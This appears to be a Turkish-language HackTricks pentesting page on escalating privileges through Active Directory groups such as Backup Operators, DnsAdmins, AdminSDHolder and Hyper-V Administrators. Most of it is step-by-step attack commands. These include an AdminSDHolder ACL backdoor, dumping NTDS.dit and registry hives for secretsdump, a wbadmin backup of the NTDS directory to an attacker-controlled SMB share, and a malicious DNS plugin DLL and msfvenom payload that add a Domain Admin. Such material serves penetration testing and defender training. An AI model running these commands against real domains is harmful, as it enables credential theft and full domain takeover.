Ayrıcalıklı Gruplar
Reading time: 11 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Yönetim ayrıcalıklarına sahip Bilinen Gruplar
- Yönetici
- Alan Yöneticileri
- Kurumsal Yöneticiler
Hesap Operatörleri
Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapılmasını sağlar.
Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak mümkündür.
AdminSDHolder grubu
AdminSDHolder grubunun Erişim Kontrol Listesi (ACL), yüksek ayrıcalıklı gruplar da dahil olmak üzere Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediği için çok önemlidir. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar.
Bir saldırgan, AdminSDHolder grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir.
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Bir script, geri yükleme sürecini hızlandırmak için mevcuttur: Invoke-ADSDPropagation.ps1.
Daha fazla bilgi için ired.team adresini ziyaret edin.
AD Geri Dönüşüm Kutusu
Bu gruptaki üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Domain Controller Erişimi
DC üzerindeki dosyalara erişim, kullanıcı Server Operators
grubunun bir parçası değilse kısıtlıdır, bu da erişim seviyesini değiştirir.
Yetki Yükseltme
Sysinternals'tan PsService
veya sc
kullanarak, hizmet izinlerini inceleyip değiştirmek mümkündür. Örneğin, Server Operators
grubu, belirli hizmetler üzerinde tam kontrol sahibi olup, keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır:
C:\> .\PsService.exe security AppReadiness
Bu komut, Server Operators
grubunun tam erişime sahip olduğunu ve bu sayede hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilebileceğini gösterir.
Yedekleme Operatörleri
Backup Operators
grubuna üyelik, SeBackup
ve SeRestore
ayrıcalıkları sayesinde DC01
dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, FILE_FLAG_BACKUP_SEMANTICS
bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
Grup üyelerini listelemek için şunu çalıştırın:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Yerel Saldırı
Bu ayrıcalıkları yerel olarak kullanmak için aşağıdaki adımlar uygulanır:
- Gerekli kütüphaneleri içe aktarın:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
SeBackupPrivilege
'i etkinleştir ve doğrula:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Kısıtlı dizinlerden dosyalara erişim sağlayın ve kopyalayın, örneğin:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Saldırısı
Domain Controller'ın dosya sistemine doğrudan erişim, alan kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren NTDS.dit
veritabanının çalınmasına olanak tanır.
diskshadow.exe Kullanarak
C
sürücüsünün bir gölge kopyasını oluşturun:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
NTDS.dit
dosyasını yedek kopyadan kopyalayın:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternatif olarak, dosya kopyalamak için robocopy
kullanın:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Hash alımı için
SYSTEM
veSAM
'i çıkarın:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
NTDS.dit
dosyasından tüm hash'leri al:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
wbadmin.exe Kullanımı
- Saldırgan makinede SMB sunucusu için NTFS dosya sistemini ayarlayın ve hedef makinede SMB kimlik bilgilerini önbelleğe alın.
- Sistem yedeği ve
NTDS.dit
çıkarımı içinwbadmin.exe
kullanın:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Pratik bir gösterim için DEMO VIDEO WITH IPPSEC bağlantısına bakın.
DnsAdmins
DnsAdmins grubunun üyeleri, DNS sunucusunda (genellikle Alan Denetleyicileri üzerinde barındırılır) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için ayrıcalıklarını kullanabilirler. Bu yetenek, önemli bir istismar potansiyeli sağlar.
DnsAdmins grubunun üyelerini listelemek için:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Rastgele DLL Yürüt
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için şu komutları kullanabilir:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) DLL'nin yüklenmesi için gereklidir:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Daha fazla bilgi için bu saldırı vektörüne, ired.team'e başvurun.
Mimilib.dll
Belirli komutları veya ters kabukları çalıştırmak için mimilib.dll kullanmak da mümkündür. Daha fazla bilgi için bu gönderiyi kontrol edin.
WPAD Kaydı için MitM
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Spoofing ve ağ trafiğini yakalamak için Responder veya Inveigh gibi araçlar kullanılabilir.
Olay Günlüğü Okuyucuları
Üyeler olay günlüklerine erişebilir, bu da düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulmalarını sağlayabilir.
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows İzinleri
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubun istismar edilmesiyle ilgili ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V Yöneticileri
Hyper-V Yöneticileri, sanallaştırılmış Alan Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir.
Sömürü Örneği
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korunan bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirerek gerçekleştirilir:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır.
Organizasyon Yönetimi
Microsoft Exchange'in dağıtıldığı ortamlarda, Organizasyon Yönetimi olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, tüm etki alanı kullanıcılarının posta kutularına erişim hakkına sahiptir ve 'Microsoft Exchange Güvenlik Grupları' Organizasyonel Birimi (OU) üzerinde tam kontrol sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek Exchange Windows Permissions
grubunu içerir.
Ayrıcalık İstismarı ve Komutlar
Yazdırma Operatörleri
Yazdırma Operatörleri grubunun üyeleri, SeLoadDriverPrivilege
dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara bir Etki Alanı Denetleyicisi'ne yerel olarak giriş yapma, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle SeLoadDriverPrivilege
yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir.
Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Daha ayrıntılı SeLoadDriverPrivilege
ile ilgili istismar teknikleri için, belirli güvenlik kaynaklarına başvurulmalıdır.
Uzak Masaüstü Kullanıcıları
Bu grubun üyelerine, Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarında ulaşılabilir.
Uzaktan Yönetim Kullanıcıları
Üyeler Windows Remote Management (WinRM) üzerinden PC'lere erişebilir. Bu üyelerin sayımı şu şekilde gerçekleştirilir:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
WinRM ile ilgili istismar teknikleri için belirli belgeler incelenmelidir.
Sunucu Operatörleri
Bu grubun, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Alan Denetleyicileri üzerinde çeşitli yapılandırmalar yapma izinleri vardır. Üyeleri listelemek için verilen komut:
Get-NetGroupMember -Identity "Server Operators" -Recurse
Referanslar
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.